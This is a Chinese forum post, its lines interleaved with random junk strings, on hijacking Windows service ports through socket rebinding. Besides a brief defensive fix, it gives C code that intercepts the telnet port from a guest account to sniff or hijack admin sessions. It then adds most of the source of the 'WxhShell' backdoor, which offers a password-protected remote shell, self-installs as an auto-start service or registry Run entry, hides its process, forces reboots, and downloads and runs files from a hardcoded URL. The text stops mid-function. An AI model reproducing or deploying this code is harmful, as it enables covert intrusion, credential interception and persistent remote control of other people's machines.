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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Y1_6\zpA  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2j/1@Z1j=  
x*"pDI0k)  
  saddr.sin_family = AF_INET; p9}c6{Wp  
*o\Y~U-so  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); MN M>  
JS7}K)A2B6  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <\9Ijuq}k  
Ta\8 >\6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 =']};  
M|E2&ht  
  这意味着什么?意味着可以进行如下的攻击: q,,>:]f#  
3G/ mB  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (zro7gKked  
])ALAAIc-  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %)hIpxOrX  
':2*+  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0m YZ7S5g  
g*r{!:,t  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  D7_Hu'y<o  
0jJ28.kOp  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 iI@Gyq=  
L[D/#0qp  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ;aK !eD$  
$7gB&T.x  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 E%2!C/+B  
HHIUl,P  
  #include o|^?IQ7bpf  
  #include id#k!*$7  
  #include xlPcg7  
  #include    D_19sN@0m  
  DWORD WINAPI ClientThread(LPVOID lpParam);   J.e8UQ@=5  
  int main() 9p\wTzA  
  { #SihedWi  
  WORD wVersionRequested; ^~r&}l4c,  
  DWORD ret; n"<GJ.{  
  WSADATA wsaData; C>`.J_N  
  BOOL val; ;/)Mcx]n  
  SOCKADDR_IN saddr; & L.PU@  
  SOCKADDR_IN scaddr; K7[AiU_I  
  int err; ;*g*DIR  
  SOCKET s; !.2CAL  
  SOCKET sc; Z*vpQBbu  
  int caddsize; H?=pWB  
  HANDLE mt; #EQx  
  DWORD tid;   sQ>B_Y!  
  wVersionRequested = MAKEWORD( 2, 2 ); 8W1K3[Jj<  
  err = WSAStartup( wVersionRequested, &wsaData ); j_6`s!Yw  
  if ( err != 0 ) { UP~WP@0F  
  printf("error!WSAStartup failed!\n"); 2*-ENW2  
  return -1; p'%: M  
  } HV$9b~(  
  saddr.sin_family = AF_INET; =_?pOq  
   X8,7_D$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .n)!ZN  
_,Rsl$Tk'  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); P"V{y|2  
  saddr.sin_port = htons(23); ].k+Nzf_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,>QMyI hv  
  { F; MF:;mM  
  printf("error!socket failed!\n"); Q2[prrk%j  
  return -1; 6m-:F.k1(  
  } 2<6`TA*m  
  val = TRUE; c+Q.?vJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 :!+}XT7)/  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 56bud3CVs  
  { ]8xc?*i8  
  printf("error!setsockopt failed!\n"); )D Gz`->  
  return -1; ^8';8+$  
  } 7|+|\ 7l#  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j]!7BHC  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \ifK~?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I9[1U   
J8u{K.( *7  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) `?zg3GD_  
  { X6LhM  
  ret=GetLastError(); S1 EEASr!}  
  printf("error!bind failed!\n"); E(QZ!'%K+m  
  return -1; FG DGWcRw~  
  } {) :%Wn M9  
  listen(s,2); YGq=8p7.R  
  while(1) nabBU4;h  
  { biK)&6|`sa  
  caddsize = sizeof(scaddr); W_[|X}lWP  
  //接受连接请求 ,hpH!J'5f/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3I9T|wQ-]  
  if(sc!=INVALID_SOCKET) X q}Ucpj  
  { ADv^eJJ|  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  G"o!}  
  if(mt==NULL) 8 uDerJ!  
  { IVI~1~  
  printf("Thread Creat Failed!\n"); _BZ1Vnv  
  break; 0bMoUy*q  
  } KQG-2oW  
  } H~A"C'P3#  
  CloseHandle(mt); A}t%;V2  
  } X+=-f^)&  
  closesocket(s); QGs1zfh*  
  WSACleanup(); :ozV3`%$(  
  return 0; wP[xmO-%  
  }   {Ge+O<mD  
  DWORD WINAPI ClientThread(LPVOID lpParam) 9T(L"9r-e  
  { e^j<jV`1  
  SOCKET ss = (SOCKET)lpParam; /b{o3, #.M  
  SOCKET sc; ' |&>/dyq  
  unsigned char buf[4096]; >_XOc  
  SOCKADDR_IN saddr; ~9Z h,p ;  
  long num; kOw=c Gt  
  DWORD val; WfTD7?\dw  
  DWORD ret; \)ip>{WG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "jMqt9ysN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   RFw(]o,9cR  
  saddr.sin_family = AF_INET; >~_J q|KBB  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); otO j^xU  
  saddr.sin_port = htons(23); b"I~_CL|  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) et=7}K]l  
  { u*2fP]n  
  printf("error!socket failed!\n"); tR kF   
  return -1; ;HDZ+B  
  } Kx~$Bor_!  
  val = 100; (8.{+8o  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )zU:  
  { L>dkrr)e  
  ret = GetLastError(); 7paUpQit  
  return -1; +b^]Pz5  
  } x?#I4RJH;  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) zh\$t]d<I  
  { c!It ^*  
  ret = GetLastError(); B MM--y@  
  return -1; C5|db{=\.*  
  } `H\)e%]  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) l<(cd,  
  { ?]c+j1 i  
  printf("error!socket connect failed!\n"); ldGojnS  
  closesocket(sc); RT^v:paNT2  
  closesocket(ss); %Tv^GP{}  
  return -1; 5Fm av5  
  } qz!Ph5 (  
  while(1) 3GF2eS$$P  
  { ,19"[:WN  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 =F; ^^VX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 I[YfF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 HoQ(1e$G-  
  num = recv(ss,buf,4096,0); J5r L7  
  if(num>0) bgx5{!A  
  send(sc,buf,num,0); OTr!?xi  
  else if(num==0) m:o$|7r  
  break; vcUM]m8k   
  num = recv(sc,buf,4096,0); W71#NjM2Z  
  if(num>0) sRI=TE]s  
  send(ss,buf,num,0); JZ*?1S>  
  else if(num==0) Ffqn|} gb  
  break; .m % x-i  
  } P<w>1 =  
  closesocket(ss); 4iB)oR  
  closesocket(sc); Ay. q)  
  return 0 ; :j!_XMyT:  
  } kKTED1MW&W  
Sr-^faL  
SF}L3/C&h  
========================================================== [ZpG+VAJ8  
N,'qMoNf  
下边附上一个代码,,WXhSHELL {`SGB;ho  
K LM^O$=  
========================================================== n@8{FoF  
v6(l#,  
#include "stdafx.h" ;Z0cD*Jb  
&ppZRdq]  
#include <stdio.h> fXR_)d  
#include <string.h> U\plt%2m>  
#include <windows.h> ~]s"PV:|  
#include <winsock2.h> t ,Rn  
#include <winsvc.h> G\+MT(&5  
#include <urlmon.h> 8&iI+\lCy  
WUQh[A41  
#pragma comment (lib, "Ws2_32.lib") J:!Gf^/)  
#pragma comment (lib, "urlmon.lib") MPw7!G(qj  
`Y$5g~3.  
#define MAX_USER   100 // 最大客户端连接数 [Cr~gd+ q  
#define BUF_SOCK   200 // sock buffer M/I d\~  
#define KEY_BUFF   255 // 输入 buffer yM~D.D3H  
O c3%pb;  
#define REBOOT     0   // 重启 > %*X2'^  
#define SHUTDOWN   1   // 关机 69w"$V k  
_Pm}]Y:_  
#define DEF_PORT   5000 // 监听端口 (M?Q9\X  
tOVm~C,R  
#define REG_LEN     16   // 注册表键长度 )4C6+63OD&  
#define SVC_LEN     80   // NT服务名长度 ZOsn,nF  
b,sc  
// 从dll定义API j ZafwBi  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O/~^}8TLL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )SLs  [  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tS@/Bq('B  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 32/P(-  
_QCI< |A  
// wxhshell配置信息 w#b2iE+Bw  
struct WSCFG { QQcj"s  
  int ws_port;         // 监听端口 %05a>Rf&  
  char ws_passstr[REG_LEN]; // 口令 AXI:h"so  
  int ws_autoins;       // 安装标记, 1=yes 0=no <us{4 %  
  char ws_regname[REG_LEN]; // 注册表键名 1r4/McB  
  char ws_svcname[REG_LEN]; // 服务名 B\yq% m  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 V0(ABi:d  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 M*uG`Eo&  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 GC3L2C0)k  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <rF  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1=.?KAXR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 SsZzYj.d  
u&bU !ZI  
}; {xH@8T$DX  
.@V>p6MV  
// default Wxhshell configuration  (v}:  
struct WSCFG wscfg={DEF_PORT,  p-kqX  
    "xuhuanlingzhe", >AJ|F)  
    1, +3CMfYsr8  
    "Wxhshell", e:<> Yq+  
    "Wxhshell", 1L7,x @w  
            "WxhShell Service", H'>  
    "Wrsky Windows CmdShell Service", ?CDq^)T[  
    "Please Input Your Password: ", 8E{>czF"  
  1, @d|9(,Q  
  "http://www.wrsky.com/wxhshell.exe", ,~#hHhR_  
  "Wxhshell.exe" (WvA9s{/  
    }; 3}+ \&[  
dGe  
// 消息定义模块 &@+; ]t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; +fN0> @s  
char *msg_ws_prompt="\n\r? for help\n\r#>"; |~Iw   
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v]~[~\|a  
char *msg_ws_ext="\n\rExit."; da@ .J9  
char *msg_ws_end="\n\rQuit."; ! ZEKvW  
char *msg_ws_boot="\n\rReboot..."; Wt =[R 4=  
char *msg_ws_poff="\n\rShutdown..."; 7Z_iQ1  
char *msg_ws_down="\n\rSave to "; O/Vue  
bkTj Q  
char *msg_ws_err="\n\rErr!"; 2Z~o frj  
char *msg_ws_ok="\n\rOK!"; &0ra a  
WyP1"e^ 9  
char ExeFile[MAX_PATH]; Qs a2iw{  
int nUser = 0; <>TBM^  
HANDLE handles[MAX_USER]; "2J;~  
int OsIsNt; O9Aooe4W=  
S5JnJkNn  
SERVICE_STATUS       serviceStatus; mD! imq%=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9EEHLx"  
`0D+x  
// 函数声明 E2MpMR  
int Install(void); {+;8dtZ)x  
int Uninstall(void); S(pfd2^  
int DownloadFile(char *sURL, SOCKET wsh); a$ }^z  
int Boot(int flag); .JE7vPv%!  
void HideProc(void); CJ_B.  
int GetOsVer(void); 6C:Lq%}  
int Wxhshell(SOCKET wsl); ~X/T6(n$  
void TalkWithClient(void *cs); myXV~6R 3  
int CmdShell(SOCKET sock); Rjf |  
int StartFromService(void); \MU4"sXw  
int StartWxhshell(LPSTR lpCmdLine); < qBPN{'a"  
JsV#:  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +]#>6/2q  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V47 Fp  
kQ +   
// 数据结构和表定义 E] [DVY  
SERVICE_TABLE_ENTRY DispatchTable[] = GCrN:+E0FJ  
{ m#Cp.|>kP4  
{wscfg.ws_svcname, NTServiceMain}, rO NLbrj  
{NULL, NULL} 3]'3{@{} H  
}; rP'oU V_  
zMa`olTZ  
// 自我安装 |^ qW   
int Install(void) #\}hN~@F  
{ L@/+u+j0  
  char svExeFile[MAX_PATH]; Y !`H_Qo  
  HKEY key; Ac|`5'/Tx  
  strcpy(svExeFile,ExeFile); }Eav@3h6  
k z#DBh!&  
// 如果是win9x系统,修改注册表设为自启动 L8V'mUyD  
if(!OsIsNt) { W?@ ;(k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @y,p-##e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); +G?3j,a\  
  RegCloseKey(key); b c+' n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r@_;L>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {vaq,2_w  
  RegCloseKey(key); 9U+^8,5  
  return 0; lU\|F5O@#  
    } l!oU9  
  } a(m#GES  
} 8J)x>6  
else { f`?|A  
5vS'Qhc  
// 如果是NT以上系统,安装为系统服务 &B))3WFy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tvd/Y|bV=  
if (schSCManager!=0) 6ds&n#n  
{ jildiT[s  
  SC_HANDLE schService = CreateService [ P 8e=;  
  ( le*pd+>j  
  schSCManager, A0'Yfuie  
  wscfg.ws_svcname, nF7Ozxm#  
  wscfg.ws_svcdisp, #*~#t4S-  
  SERVICE_ALL_ACCESS, -`rz[";n  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , U2G\GU1 X  
  SERVICE_AUTO_START, &ed.%:  
  SERVICE_ERROR_NORMAL, 9X!OQxmg  
  svExeFile, u\6:Txqq  
  NULL, OYe @P  
  NULL, e\\ I,  
  NULL, (;!&RZ  
  NULL, lx%<oC+M  
  NULL qF>}"m  
  ); 4O2O0\o:  
  if (schService!=0) Y@Ty_j~  
  { 4SmhtC  
  CloseServiceHandle(schService); ,*Sj7qb#  
  CloseServiceHandle(schSCManager);  /I="+  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7 v#sr<  
  strcat(svExeFile,wscfg.ws_svcname); SeKU ?\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]Rz]"JZ\S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CmM K\R.  
  RegCloseKey(key); ]5B5J  
  return 0; l\a 0 k4  
    } 7?e*b(vd  
  } W,}C*8{+  
  CloseServiceHandle(schSCManager); k/cQJz  
} *uNa( yd  
} {Dqf.w>t  
UZv^3_,qz  
return 1; m%l\EE  
} RY/9Ku `  
~`(#sjr6KR  
// 自我卸载 :,% vAI  
int Uninstall(void) +wr2TT~  
{ zJOL\J'  
  HKEY key; |I6\_K.=L  
b v~"_)C  
if(!OsIsNt) { WL+I)n8~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { g7rn|<6FI  
  RegDeleteValue(key,wscfg.ws_regname); _|`S9Nms  
  RegCloseKey(key); C8%q?.nH=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { m o nqaSF  
  RegDeleteValue(key,wscfg.ws_regname); gYw4YP0Gz  
  RegCloseKey(key); ^,qi` Tk  
  return 0; EE=!Y NP]  
  } ".Luc 7  
} tY~EB.%  
} }$?x wcPU  
else { @))PpE`co8  
2c LIz@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l`M{Ravvn*  
if (schSCManager!=0) ' cR||VX  
{ |9Q4VY'";  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 1 \:5ow&a  
  if (schService!=0) }w}2'P'T  
  { &Rdg07e;>  
  if(DeleteService(schService)!=0) { fucG 9B  
  CloseServiceHandle(schService); h(l4\)  
  CloseServiceHandle(schSCManager); tN&4t xB  
  return 0; 3A!`U6C(  
  } 7j| ^ZuI+  
  CloseServiceHandle(schService); bz<f u  
  } ' @i0~  
  CloseServiceHandle(schSCManager); \R\?`8O rz  
} V{+'(<SV  
} ;89 `!V O  
uxLT*,  
return 1; |WwC@3)  
} WdI9))J2S  
H]As2$[  
// 从指定url下载文件 ?5-Y'(r  
int DownloadFile(char *sURL, SOCKET wsh) ;+jz=9Q-  
{ &m[ZpJ9  
  HRESULT hr; cuzU*QW"g  
char seps[]= "/"; g9C/Oj`I  
char *token; 4@19_+3  
char *file; "%]<Co<S  
char myURL[MAX_PATH]; wr>[Eo@%\  
char myFILE[MAX_PATH]; n<q1itjD  
4~<78r5m  
strcpy(myURL,sURL); ~j3O0s<gK  
  token=strtok(myURL,seps); ;&7dX^oH  
  while(token!=NULL) ~(aMKB  
  { w]1hoYuV  
    file=token; s R/z)U_  
  token=strtok(NULL,seps); iF,%^95=  
  } # `L?24%  
x Zp`  
GetCurrentDirectory(MAX_PATH,myFILE); CZZwBt$P  
strcat(myFILE, "\\"); wH]5VltUT1  
strcat(myFILE, file); cPunMHD  
  send(wsh,myFILE,strlen(myFILE),0); <tUl(q+ty  
send(wsh,"...",3,0); )O+Vft&#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); gpT~3c;l=  
  if(hr==S_OK) UA4="/  
return 0; nMM:Tr  
else pTeN[Yu?  
return 1; s#cb wDT  
g79zzi-  
} Dc@OrQu  
,F%2'W  
// 系统电源模块 )x5t']w`K  
int Boot(int flag) NJ^Bv`  
{ Uv)B  
  HANDLE hToken; :MaP58dhh  
  TOKEN_PRIVILEGES tkp;  #nq$^H  
9QP-~V{$  
  if(OsIsNt) {  LA]UIM@  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Talmc|h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +7 \"^D  
    tkp.PrivilegeCount = 1; *Z8qd{.$q  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; J5!-<oJ/  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); &M>o  
if(flag==REBOOT) { ?ESsma6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) fK|P144   
  return 0; CSwPL>tUV  
} :y.~IQN  
else { I:6H65(&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) KwHlpW*  
  return 0; ?zuKVi? I  
} Hk f<.U  
  } 6e>P!bo  
  else { b+`qGJrej  
if(flag==REBOOT) { oTJ^WePZQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }Uu#N H  
  return 0; S2jn  pf}  
} e jk?If 07  
else { 0[ n;ZL~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %:l\Vhhz  
  return 0; js)E:+{A,  
} !_o1;GzK  
} Tff eCaBv  
,0Udz0  
return 1; ='eQh\T)  
} "$%&C%t  
G7-.d/8|^  
// win9x进程隐藏模块 %kBrxf  
void HideProc(void) %I)*5M6  
{ q4/P'.S  
Fok`-U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !qs~j=;y3  
  if ( hKernel != NULL ) ,`ehR6b  
  { y3'K+?4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); viS7+E|O  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GV)DLHiyxX  
    FreeLibrary(hKernel); w01\KV  
  } jA%R8hdr_  
[py/\zkn  
return; vN)l3  
} gAGcbepX  
zv\T;_  
// 获取操作系统版本 LCpS}L;  
int GetOsVer(void) +^aM(4K\  
{ Kv\uBMJNW  
  OSVERSIONINFO winfo; r<kqs,-~  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H]f8W]"c[  
  GetVersionEx(&winfo); A}03s6^i;  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "g;}B"rG  
  return 1; iJ`v3PP  
  else W(*?rA-PP  
  return 0; ,?!4P+ob  
} M*jn8OE  
0R?LWm j  
// 客户端句柄模块 ]M9r<x*  
int Wxhshell(SOCKET wsl) `>}e 5  
{ Nj4^G ~_  
  SOCKET wsh; 7;:Uv=  
  struct sockaddr_in client; jJY!;f  
  DWORD myID; cLnvb!g'#  
O>L 5 dP  
  while(nUser<MAX_USER) iX'#~eK*<  
{ wn{DY v7B  
  int nSize=sizeof(client); )eSD5hOI)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 6Yx/m  
  if(wsh==INVALID_SOCKET) return 1; |/35c0IM  
V\o& {7!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); )h?Pz1-W1  
if(handles[nUser]==0) 7q _.@J  
  closesocket(wsh); ::rKW *?  
else $5/lU }To  
  nUser++; zz+[]G+"2m  
  } sv?Lk4_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 9"~,ha7S$  
t1tZ:4  
  return 0; ;O7<lF\7o  
} %CiZ>`5n#  
g>O O '}lF  
// 关闭 socket =XT}&D6  
void CloseIt(SOCKET wsh) 7$* O+bkn:  
{ ,] ,dOIOwn  
closesocket(wsh); |cE 69UFB  
nUser--; 9 nPc>O$  
ExitThread(0); ;4 ON  
} Ui`Z>,0sFi  
r/vRaOg>X  
// 客户端请求句柄 _7"G&nZ0  
void TalkWithClient(void *cs) g4 |s9RMD  
{ ,2YkQ/ >  
kW@,P.88  
  SOCKET wsh=(SOCKET)cs; @ukIt  
  char pwd[SVC_LEN]; +5+?)8Ls  
  char cmd[KEY_BUFF]; >)3[CU,  
char chr[1]; _#/zH~V%  
int i,j; M1/Rba Q  
T~rPpi&  
  while (nUser < MAX_USER) { ^sp+ sr :  
@;we4G5  
if(wscfg.ws_passstr) { A%pBvULH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |h; _r&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E$'Zd,|f=  
  //ZeroMemory(pwd,KEY_BUFF); AVys`{*c  
      i=0; 02_%a1g  
  while(i<SVC_LEN) { Ty21-0 F  
aAr gKM f  
  // 设置超时 /{';\?w  
  fd_set FdRead; A@X&d y  
  struct timeval TimeOut; %!G]H   
  FD_ZERO(&FdRead); f"j"ZM{~U  
  FD_SET(wsh,&FdRead); 6mnj!p]3  
  TimeOut.tv_sec=8; JEK 6Ms;)A  
  TimeOut.tv_usec=0; 9oK#n'hjb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); dcgz<m  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); =W6AUN/%p  
S(c,Sinc  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); JwNG`M Gc  
  pwd=chr[0]; w~eF0 {h  
  if(chr[0]==0xd || chr[0]==0xa) { p1 9j  
  pwd=0; "-'w,g  
  break;  Sxrbhnx  
  } ^gwVh~j  
  i++; 0pWF\<IZ  
    } cvR|qHNX  
AS34yM(h  
  // 如果是非法用户,关闭 socket 5 JE8/CbH  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }vRs n-E@  
} /hPgOaB  
0Dj<-n{9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Vj7(6'Hg  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )p&FDK#ob=  
5G@z l  
while(1) { 7-"ml\z  
)&"l3*x  
  ZeroMemory(cmd,KEY_BUFF); }b-"[TDEF  
pm+_s]s,  
      // 自动支持客户端 telnet标准   4#$~gTc@  
  j=0; E?o1&(2p  
  while(j<KEY_BUFF) { aHosu=NK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); `p@YV(  
  cmd[j]=chr[0]; P;D)5yP092  
  if(chr[0]==0xa || chr[0]==0xd) { _ECWSfZ  
  cmd[j]=0; wf!?'*  
  break; =@U~ sl [  
  } MS,J+'2  
  j++; kw8?:: <  
    } )~1QOl "~  
PN ,pEk|  
  // 下载文件 #<V/lPz+  
  if(strstr(cmd,"http://")) { -4|\,=j  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5Z]zul@+*  
  if(DownloadFile(cmd,wsh)) D2o,K&V  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^2L\Y2  
  else CeD O:J=,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tG(#&54  
  } +H5= zf2  
  else { \|\ Dc0p}  
.CI { g2  
    switch(cmd[0]) { 5mwtlC':l?  
  l+BJh1^  
  // 帮助 Q}GsCmt=)O  
  case '?': { C~PrIM?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vT)(#0>z  
    break; ZUJ !  
  } :<ye:P1s  
  // 安装 %$/t`'&o-  
  case 'i': { 4LqJ4jo  
    if(Install()) *oAv:8"iY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E/mp.f2!  
    else q_eGY&M  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X~ n=U4s}O  
    break; +uMOT#KjR  
    } tu}AJ  
  // 卸载 MP/6AAt7=|  
  case 'r': { HvSKR1wL\  
    if(Uninstall()) _=9o:F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5$o]D  
    else *RugVH4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LaL.C^K  
    break; d;` bX+K  
    } @/i;/$\  
  // 显示 wxhshell 所在路径 Ox;q +5  
  case 'p': { @vWf-\  
    char svExeFile[MAX_PATH]; \ .H X7v  
    strcpy(svExeFile,"\n\r"); ~|+! xh  
      strcat(svExeFile,ExeFile); <fq?{z  
        send(wsh,svExeFile,strlen(svExeFile),0); _:ypPR J  
    break; F(*~[*Ff  
    } zlC|Spaf  
  // 重启 pC 5J '@  
  case 'b': { F3*]3,&L  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `p`)D 6  
    if(Boot(REBOOT)) rb_ cm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?3bUE\p  
    else { ?n o.hf  
    closesocket(wsh); :A%|'HxH3  
    ExitThread(0); v'Y)~Kv@!  
    } &6%%_Lw$  
    break; (=:9pbP  
    } 5:(uD3]  
  // 关机 H\]ZtSw8-  
  case 'd': { bQG2tDvu[  
